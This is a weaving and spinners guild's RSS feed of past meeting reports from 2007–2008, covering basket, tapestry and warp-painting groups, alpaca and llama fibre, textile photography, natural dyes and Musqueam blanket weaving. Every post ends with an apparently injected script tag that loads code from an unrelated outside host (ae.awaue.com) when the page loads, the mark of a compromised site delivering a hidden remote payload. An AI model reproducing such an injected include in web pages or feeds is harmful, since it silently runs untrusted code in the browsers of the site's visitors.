<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Greater Vancouver Weavers &#38; Spinners Guild &#187; Past Programs</title>
	<atom:link href="http://www.gvwsg.com/guild-events/guild-meetings/past-programs/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gvwsg.com</link>
	<description>Weaving and Spinning in Greater Vancouver since 1935</description>
	<lastBuildDate>Tue, 06 Jul 2010 15:57:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Presentations by Interest Groups</title>
		<link>http://www.gvwsg.com/2008/06/presentations-by-interest-groups/</link>
		<comments>http://www.gvwsg.com/2008/06/presentations-by-interest-groups/#comments</comments>
		<pubDate>Fri, 20 Jun 2008 17:20:00 +0000</pubDate>
		<dc:creator>GVWSG</dc:creator>
				<category><![CDATA[Past Programs]]></category>
		<category><![CDATA[study groups]]></category>

		<guid isPermaLink="false">http://gvwsg.com/?p=83</guid>
		<description><![CDATA[The Basket Group The Basket Group started in 1970 and meets at 12 Noon on the first Thursday of the month at member’s homes. Members showed their projects: Anne Marie Buchanan showed her breadbaskets and two original bowls she learned how to do at a workshop in York. Noelle Lamb – cedar and sedge basket. [...]]]></description>
			<content:encoded><![CDATA[<p></p><h3>The Basket Group </h3>
<p>The Basket Group started in 1970 and meets at 12 Noon on the first Thursday of the month<br />
  at member’s homes. Members showed their projects:
</p>
<ul>
<li><strong>Anne Marie Buchanan</strong> showed her breadbaskets and two original bowls she learned how<br />
    to do at a workshop in York.
  </li>
<li><strong>Noelle Lamb</strong> – cedar and sedge basket.
  </li>
<li><strong>Marie Seabrook</strong> – twisted willow basket and another made out of dyed, waxed linen.
  </li>
<li><strong>Irene Weisner</strong> – random ball decoration, a large Appalachian egg basket made of different<br />
    materials.
  </li>
<li><strong>Marie Slessor </strong>– Cherokee picnic basket, carrying and travel baskets, a seaweed basket, a<br />
    basket made of cedar bark and other plants, a cracker basket, an egg basket and a basket<br />
    made of cedar and sea shells.
  </li>
</ul>
<h3>Design Group</h3>
<p> <strong>Joanne Ryeburn</strong> leads the design group where they discuss design issues. They used paper craft to do mock ups of designs.  <strong>Kate Barber</strong> brought her mock up of a wall hanging: a four layer weaver with crossing layers.
  </p>
<h3>Into Weave Group</h3>
<p>The Into Weave Group meets on Saturdays 4 or 5 times a year at 10:30 at<br />
  member’s homes.</p>
<ul>
<li> <strong>Terry Villeneuve</strong> brought her overshot squares from the friendship coverlet project<br />
    that the group worked on last year. She is embroidering the name of the overshot pattern on each square.
  </li>
<li><strong>Janice Griffiths</strong> showed one scarf she wove for the Into Weave scarf exchange. It was woven out of 20/2 mercerized cotton in an 8 shaft huck pattern. She also<br />
    showed the scarf that she received- a woven shibori cotton scarf woven and dyed<br />
    by <strong>Susan Milliken</strong>. Janice also showed the draw loom weaving she made for<br />
    another Intoweave project – all the members had the same calendar picture and<br />
  used colours from the picture for any weaving project.</li>
<li> <strong>Ruth Griffiths</strong> also showed a scarf woven in red 20/2 mercerized cotton with<br />
    beaded embellishment. The red weft on the blue warp produced an iridescent effect.
  </li>
<li><strong>Barb Mitchell</strong> wove green scarves in wool and bamboo.
  </li>
<li><strong>Solveig Gagnon</strong> showed her pink scarf that she wove and the red scarf she received from Linda Kunster in the scarf exchange.
  </li>
<li>Many of the IntoWeave group attended the Fenn Lodge Spinning Retreat where they knit fabric on a knitting machine and painted the fabric with dyes. The fabric was to be unraveled to produce self patterning yarn for knitting or weaving.</li>
<li><strong>Ruth Griffiths</strong> knit socks out of her green, red and orange handspun yarn.</li>
<li><strong>Janice Griffiths</strong> knit a lace mobius scarf out of handspun wine and black yarn.</li>
<li><strong>Anita Jamieson</strong> knit socks out of her multicoloured yarn.
  </li>
</ul>
<h3>Spectrum </h3>
<p>Spectrum meets at member’s houses on the first Thursday of the month. They did a lot of felted projects this year.  </p>
<ul>
<li><strong>Joanne Ryeburn, Louisa Chadwick, Masami Yesaki, onna Campbell </strong>and <strong>Kirsten Friz</strong> showed necklaces that they made out of felted<br />
  balls and beads.
</li>
<li><strong>Kirsten Friz</strong> made a mosaic felted purse which was woven loosely out of pink and black wool.</li>
<li><strong>Sandra Crompton</strong> constructed a felted sewing kit using folded paper to hold the thread and needles.
  </li>
</ul>
<h3>The Spinning Group</h3>
<p>The Spinning Group meets every 4th Wednesday night at Jo Anne Ryburn’s house. <strong>Jo Anne Ryeburn</strong> showed some of her handspun.</p>
<h3> Tapestry Weaving Group</h3>
<p> This is a group that formed after Convergence. Although it is not a group of the Vancouver Guild, many members belong<br />
  to both. It is also affiliated with a tapestry group on Vancouver Island. The group has had three exhibitions in its short<br />
  history: at Place des Arts, the Ferry Building and Fibre Essence. They are now weaving small tapestries based on recipes.<br />
  They hope to do this for a cook book and exhibit the pieces at the Seymour gallery entilted “ Edible Art”.</p>
<h3> Warp Painting Study Group</h3>
<p> <strong>Joanne Ryeburn</strong> led a study group on warp painting. Five students met 3 times and painted the warps at Joanne’s house. </p>
<ul>
<li><strong>Kay Hansen</strong> wove a reversing twill 2/20 silk scarf with painted warp in yellow, peach and orange.</li>
<li><strong>Anita Jamieson</strong> knit with her painted yarn which she wound all over her house. The yarn is yellow, blue, orange andgreen.</li>
<li><strong>Jo Skinner</strong> painted a silk warp in 5 separate groups and dyed different coloured skeins for the weft of her scarves. One<br />
    scarf was orange, brown and raspberry. The other scarf was purple/red and yellow/orange.</li>
<li><strong>Joanne Ryeburn</strong> painted a warp and then used it to weave blocks of twill for a vest.</li>
</ul>
<h3>Shadow Weave Study Group</h3>
<p><strong>Beryl Hickenbottom</strong> led the shadow weave study group. They are still working on their projects.</p>
<h3>Collapse Weave Workshop – Instructor Jane Stafford</h3>
<p><strong>Diana Herbst</strong> and <strong>Donna Campbell </strong>showed their samples from the workshop. Some samples involved a mix of yarns<br />
  that shrink and yarns that do not shrink when washed.</p>
<h3>Tapestry Workshop – Instructor James Koehler</h3>
<ul>
<li><strong>Rob Kolen’s</strong> tapestry is still on his loom.</li>
<li> <strong>Jay Rudolph</strong> brought the samples that she wove: a purple pear on an orange background and another one that<br />
    demonstrates luminosity with triangles in different colours.
  </li>
</ul>
<p><em>submitted by Janice Griffiths</em></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2008/06/presentations-by-interest-groups/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Working with Alpaca and Llama Fibre</title>
		<link>http://www.gvwsg.com/2008/06/working-with-alpaca-and-llama-fibre/</link>
		<comments>http://www.gvwsg.com/2008/06/working-with-alpaca-and-llama-fibre/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 21:26:30 +0000</pubDate>
		<dc:creator>GVWSG Website Administrator</dc:creator>
				<category><![CDATA[Past Programs]]></category>
		<category><![CDATA[alpaca]]></category>
		<category><![CDATA[llama]]></category>
		<category><![CDATA[spinning]]></category>

		<guid isPermaLink="false">http://blog.gvwsg.com/?p=5</guid>
		<description><![CDATA[May 15th, Meeting Program: Gretchen Hoff, who raises alpacas and llamas on her farm in Maple Ridge, covered the process from harvesting to spinning their hair. Susan Forsyth (www.woolcombs.com) demonstrated how to comb the hair to separate out the coarse hair from the more desirable soft fine hairs and showed several lovely garments made from [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>May 15th, Meeting Program: Gretchen Hoff, who raises alpacas and llamas on her farm in Maple Ridge, covered the process from harvesting to spinning their hair. Susan Forsyth (<a title="www.woolcombs.com" href="http://www.woolcombs.com/">www.woolcombs.com</a>) demonstrated how to comb the hair to separate out the coarse hair from the more desirable soft fine hairs and showed several lovely garments made from the spun and dyed yarn. There were lots of samples for spinning demonstration and for sale.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2008/06/working-with-alpaca-and-llama-fibre/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Program Report – May 15, 2008</title>
		<link>http://www.gvwsg.com/2008/05/program-report-%e2%80%93-may-15-2008/</link>
		<comments>http://www.gvwsg.com/2008/05/program-report-%e2%80%93-may-15-2008/#comments</comments>
		<pubDate>Fri, 16 May 2008 00:47:59 +0000</pubDate>
		<dc:creator>damselfly</dc:creator>
				<category><![CDATA[Past Programs]]></category>
		<category><![CDATA[alpaca]]></category>
		<category><![CDATA[spinning]]></category>

		<guid isPermaLink="false">http://gvwsg.com/?p=70</guid>
		<description><![CDATA[Our guest was Gretchen Hoff, social worker and knitter as well as llama and alpaca farmer and the designer/seamstress known as the Scattered Gardener. She was ably assisted by her friend Susan Forsyth who, along with her husband Andrew, makes woolcombs and other spinners’ tools. Gretchen very kindly handed out samples of her dehaired llama, [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Our guest was Gretchen Hoff, social worker and knitter as well as llama and alpaca farmer and the designer/seamstress known as the Scattered Gardener. She was ably assisted by her friend Susan Forsyth who, along with her husband Andrew, makes woolcombs and other spinners’ tools. Gretchen very kindly handed out samples of her dehaired llama, huacaya alpaca and suri alpaca for us to feel and perhaps spin up. You could tell by her enthusiasm that she is very fond of her animals and is interested in getting the best fibre for herself and to sell to other spinners. She showed a way to remove the guard hair from a llama fleece by pulling on the end of the locks and Susan demonstrated another method using woolcombs. Much of Gretchen’s llama goes to the mill though since she has so much of it to process. Susan gave her formula for a spritz to hold down the static while combing: 30% hair conditioner and 70% water. </p>
<p>The alpacas consist of two very different and distinct types: huacaya and suri. The huacaya are the smaller fuzzy animals and are in the vast majority of the alpaca population. Their fibre is somewhat coarser and much more crimpy. Suri are larger and their fleece is more like droopy ringlets. It is very fine and slick with a sheen. They are only about 10% of alpacas and are very desirable for their special fibre. It is soft and has a lovely drape when knitted or woven.</p>
<p>All of these animals have the best fibre in the first 5 years. There is virtually no grease so much less is lost in processing compared to sheep’s wool. Susan brought along some wonderful examples of items that she had made using Gretchen’s fibres including a lace camisole, shawls with added beads, a fulled knitted purse from the waste llama hair, and laminated felt scarves. Gretchen had her Louet S-45 spinning wheel for anyone to try spinning her fibres but nobody took her up on it. (Perhaps it was the odd wheel?) Jeff from Fibres Plus also was spinning some of Gretchen’s alpaca on his Turkish spindle.</p>
<p>It was a very informative program and it was nice to have something specifically directed to the spinners among us. Please note that Gretchen’s website will not be available until the Fall. Meanwhile you can contact her by phone or email, info on her card included in the fibre samples. I was given an extra set of samples and spun them up on my Louet Victoria wheel. From top to bottom: white dehaired llama, tan huacaya alpaca, white suri alpaca. The llama and suri were spun with a short forward draw, the suri much finer for a laceweight. The huacaya was spun with a supported long draw. All were plied and finished with washing, alternate hot and cold rinses, and a smacking on my hard bathroom counter. This heavy finishing settled the twist, slightly fulled and brought out a halo. Perfect if you plan to knit with these yarns but not recommended for weaving or if you plan to full the finished article. They were all very pleasant fibres to spin up with nice soft results.</p>
<p>Submitted by Louisa Chadwick<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2008/05/program-report-%e2%80%93-may-15-2008/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Narrative in Textiles by Bettina Matzkuhn</title>
		<link>http://www.gvwsg.com/2008/04/narrative-in-textiles-by-bettina-matzkuhn/</link>
		<comments>http://www.gvwsg.com/2008/04/narrative-in-textiles-by-bettina-matzkuhn/#comments</comments>
		<pubDate>Thu, 17 Apr 2008 23:35:40 +0000</pubDate>
		<dc:creator>GVWSG Website Administrator</dc:creator>
				<category><![CDATA[Past Programs]]></category>
		<category><![CDATA[cartography]]></category>
		<category><![CDATA[embroidery]]></category>
		<category><![CDATA[fabric collage]]></category>

		<guid isPermaLink="false">http://blog.gvwsg.com/?p=31</guid>
		<description><![CDATA[Bettina’s textile artwork has a strong focus on narrative. She showed digital photos of her work over the years and discussed how she portrayed her and her family’s life experiences using mainly embroidery and fabric collage. This has led to an interest in cartography. Cartographic designs are now being incorporated into her art as a [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Bettina’s textile artwork has a strong focus on narrative. She showed digital photos of her work over the years and discussed how she portrayed her and her family’s life experiences using mainly embroidery and fabric collage. This has led to an interest in cartography. Cartographic designs are now being incorporated into her art as a means for telling stories and navigating through life.</p>
<p><a title="Bettina Matzkuhn" href="http://www.cabc.net/mem_sect/CrafthousePortfolios/matzkuhn/matzkuhn.htm" target="_blank">http://www.cabc.net/mem_sect/CrafthousePortfolios/matzkuhn/matzkuhn.htm</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2008/04/narrative-in-textiles-by-bettina-matzkuhn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>South Sulawesi Indonesian Weaving by Maria Newton-Mason</title>
		<link>http://www.gvwsg.com/2008/03/south-sulawesi-indonesian-weaving-by-maria-newton-mason/</link>
		<comments>http://www.gvwsg.com/2008/03/south-sulawesi-indonesian-weaving-by-maria-newton-mason/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 23:44:20 +0000</pubDate>
		<dc:creator>GVWSG Website Administrator</dc:creator>
				<category><![CDATA[Past Programs]]></category>
		<category><![CDATA[Indonesia]]></category>
		<category><![CDATA[Sulawesi]]></category>

		<guid isPermaLink="false">http://blog.gvwsg.com/?p=32</guid>
		<description><![CDATA[Maria shared her appreciation and knowledge of Indonesian Weaving in a fascinating slide lecture based on her ethnographic fieldwork for her master’s thesis. She was able to spend time with the people in the villages of South Sulawesi and learn from them directly. Maria also showed us many textiles and garments that she collected during [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Maria shared her appreciation and knowledge of Indonesian Weaving in a fascinating slide lecture based on her ethnographic fieldwork for her master’s thesis. She was able to spend time with the people in the villages of South Sulawesi and learn from them directly. Maria also showed us many textiles and garments that she collected during her experience and some woven pieces that she made inspired by the Indonesian textiles and techniques that she encountered.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2008/03/south-sulawesi-indonesian-weaving-by-maria-newton-mason/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Photography for Textiles by Felicia Lo</title>
		<link>http://www.gvwsg.com/2008/02/photography-for-textiles-by-felicia-lo/</link>
		<comments>http://www.gvwsg.com/2008/02/photography-for-textiles-by-felicia-lo/#comments</comments>
		<pubDate>Thu, 21 Feb 2008 23:47:40 +0000</pubDate>
		<dc:creator>GVWSG Website Administrator</dc:creator>
				<category><![CDATA[Past Programs]]></category>
		<category><![CDATA[photography]]></category>
		<category><![CDATA[sweetgeorgia]]></category>

		<guid isPermaLink="false">http://blog.gvwsg.com/?p=37</guid>
		<description><![CDATA[Our presenter, Felicia Lo, discussed photography for textiles. There are plenty of practical and artistic reasons why we take photos of our textiles. The photos may be for personal record-keeping purposes or for professional use. Felicia emphasized that we first need to understand our focus — what aspects of the fabric or fiber do we [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Our presenter, <a title="sweetgeorgia yarns" href="http://blog.sweetgeorgiayarns.com" target="_blank">Felicia Lo</a>, discussed photography for textiles. There are plenty of practical and artistic reasons why we take photos of our textiles. The photos may be for personal record-keeping purposes or for professional use. Felicia emphasized that we first need to understand our focus — what aspects of the fabric or fiber do we want to portray in the photo? Then she discussed the variables that make up a good photograph, including shutter speeds, aperture, film, and especially lighting. A diffused natural light is best and can be achieved with several different set-ups. Composition of the photo must also be considered. An object off-center may make a more interesting photo. Felicia then presented a number of examples of good and bad photos as well as references for further study. She summarized with a quick list that will help us improve our photos:</p>
<ul>
<li> Use natural light.</li>
<li>Modify your light source.</li>
<li>Use a tripod.</li>
<li>Bracket your exposures.</li>
<li>Consider your composition.</li>
<li>Have fun!</li>
</ul>
<p>A copy of the lecture handout is available in PDF format at the <a href="http://blog.sweetgeorgiayarns.com/downloadme/" target="_blank">sweetgeorgia yarns blog here »</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2008/02/photography-for-textiles-by-felicia-lo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In Search of Lost Colour</title>
		<link>http://www.gvwsg.com/2008/01/in-search-of-lost-colour/</link>
		<comments>http://www.gvwsg.com/2008/01/in-search-of-lost-colour/#comments</comments>
		<pubDate>Thu, 17 Jan 2008 23:44:59 +0000</pubDate>
		<dc:creator>GVWSG Website Administrator</dc:creator>
				<category><![CDATA[Past Programs]]></category>

		<guid isPermaLink="false">http://blog.gvwsg.com/?p=33</guid>
		<description><![CDATA[Due to unfortunate circumstances our scheduled speaker, Bettina Matzkuhn, was unable to join us. She is rescheduled to present at our April meeting. In her stead we viewed the latest DVD documentary from Maiwa Productions entitled: In Search of Lost Colour — the story of natural dyes. This lovely documentary described the main sources of [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><em>Due to unfortunate circumstances our scheduled speaker, Bettina Matzkuhn, was unable to join us. She is rescheduled to present at our April meeting.</em></p>
<p>In her stead we viewed the latest DVD documentary from Maiwa Productions entitled: In Search of Lost Colour — the story of natural dyes. This lovely documentary described the main sources of natural dyes from both plants and animals, the use of mordants and the importance of dyes in the history of exploration, trade routes, farming and development. Given current the competition with chemical dyes, the challenge of maintaining the recipes and expertise of natural dyeing throughout the world was also discussed.</p>
<p><em>This DVD is in our library so members may check it out for a more in depth review.</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2008/01/in-search-of-lost-colour/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Potluck &amp; Gift Exchange 2007</title>
		<link>http://www.gvwsg.com/2007/12/potluck-gift-exchange-2007/</link>
		<comments>http://www.gvwsg.com/2007/12/potluck-gift-exchange-2007/#comments</comments>
		<pubDate>Thu, 20 Dec 2007 23:47:06 +0000</pubDate>
		<dc:creator>GVWSG Website Administrator</dc:creator>
				<category><![CDATA[Past Programs]]></category>

		<guid isPermaLink="false">http://blog.gvwsg.com/?p=36</guid>
		<description><![CDATA[Our annual Christmas Party with potluck goodies and a gift exchange. Much laughter ensued as some members really got into the spirit of the exchange where you could snatch a gift from another rather than choose a new one from the table! The hottest item appeared to be a lovely pair of hand-knit fingerless mitts [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Our annual Christmas Party with potluck goodies and a gift exchange. Much laughter ensued as some members really got into the spirit of the exchange where you could snatch a gift from another rather than choose a new one from the table! The hottest item appeared to be a lovely pair of hand-knit fingerless mitts which changed owners several times. It’s always enjoyable to have a chance to mingle and chat with our fellow fibre enthusiasts.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2007/12/potluck-gift-exchange-2007/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Inspired by India</title>
		<link>http://www.gvwsg.com/2007/09/inspired-by-india/</link>
		<comments>http://www.gvwsg.com/2007/09/inspired-by-india/#comments</comments>
		<pubDate>Thu, 20 Sep 2007 23:45:56 +0000</pubDate>
		<dc:creator>GVWSG Website Administrator</dc:creator>
				<category><![CDATA[Past Programs]]></category>
		<category><![CDATA[India]]></category>
		<category><![CDATA[Natural Dyeing]]></category>
		<category><![CDATA[UNESCO]]></category>

		<guid isPermaLink="false">http://blog.gvwsg.com/?p=34</guid>
		<description><![CDATA[Jo Anne Ryeburn and Dorothy Cross showed slides and textiles that they collected on their individual trips to India. Jo Anne also had the opportunity to attend the UNESCO Symposium on Natural Dyeing.]]></description>
			<content:encoded><![CDATA[<p></p><p>Jo Anne Ryeburn and Dorothy Cross showed slides and textiles that they collected on their individual trips to India. Jo Anne also had the opportunity to attend the UNESCO Symposium on Natural Dyeing.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2007/09/inspired-by-india/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Debra Sparrow</title>
		<link>http://www.gvwsg.com/2007/04/debra-sparrow/</link>
		<comments>http://www.gvwsg.com/2007/04/debra-sparrow/#comments</comments>
		<pubDate>Thu, 19 Apr 2007 23:34:24 +0000</pubDate>
		<dc:creator>GVWSG Website Administrator</dc:creator>
				<category><![CDATA[Past Programs]]></category>
		<category><![CDATA[blanket]]></category>
		<category><![CDATA[Musqueam]]></category>
		<category><![CDATA[weaving]]></category>

		<guid isPermaLink="false">http://blog.gvwsg.com/?p=30</guid>
		<description><![CDATA[Debra Sparrow is an acclaimed weaver who has been weaving for twenty years and is deeply involved with the revival of Musqueam weaving. Her Musqueam blankets are displayed at the Vancouver Airport, and at UBC. She is active in a program at the Museum of Anthropology designed to teach grade four children about Musqueam culture [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>Debra Sparrow is an acclaimed weaver who has been weaving for twenty years and is deeply involved with the revival of Musqueam weaving. Her Musqueam blankets are displayed at the Vancouver Airport, and at UBC. She is active in a program at the Museum of Anthropology designed to teach grade four children about Musqueam culture and history. She helped with the design of the Queen of the Night costume in the Vancouver Opera production of The Magic Flute.</p>
<p>Debra and her sister, Wendy, felt a need to find their roots; they wanted to know what their place was in the world. Their grandfather had told them that they had to know who they were and where they come from; otherwise they were nothing. They decided that their path to this knowledge was through traditional crafts. Wendy revived traditional Musqueam blanket weaving, a craft which had been neglected for eighty five years. Debra chose to pursue jewellery making, but later found herself involved more and more with weaving.</p>
<p>Wendy and Debra organized a local group of Musqueam weavers who wove traditional blankets. They were inspired by an old blanket passed down in their family, by blankets owned by museums in Washington, DC and New York City and by a book on Salish weaving by Paula Gustafson. Now Debra is involved with the commercial production of blanket designs in clothing as well as blankets.</p>
<p>The program finished with a brief slide show showing some of Debra’s blankets as well as some traditional spindle whorls and combs.<br />
<em><br />
Submitted by Jo Anne Ryeburn</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gvwsg.com/2007/04/debra-sparrow/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
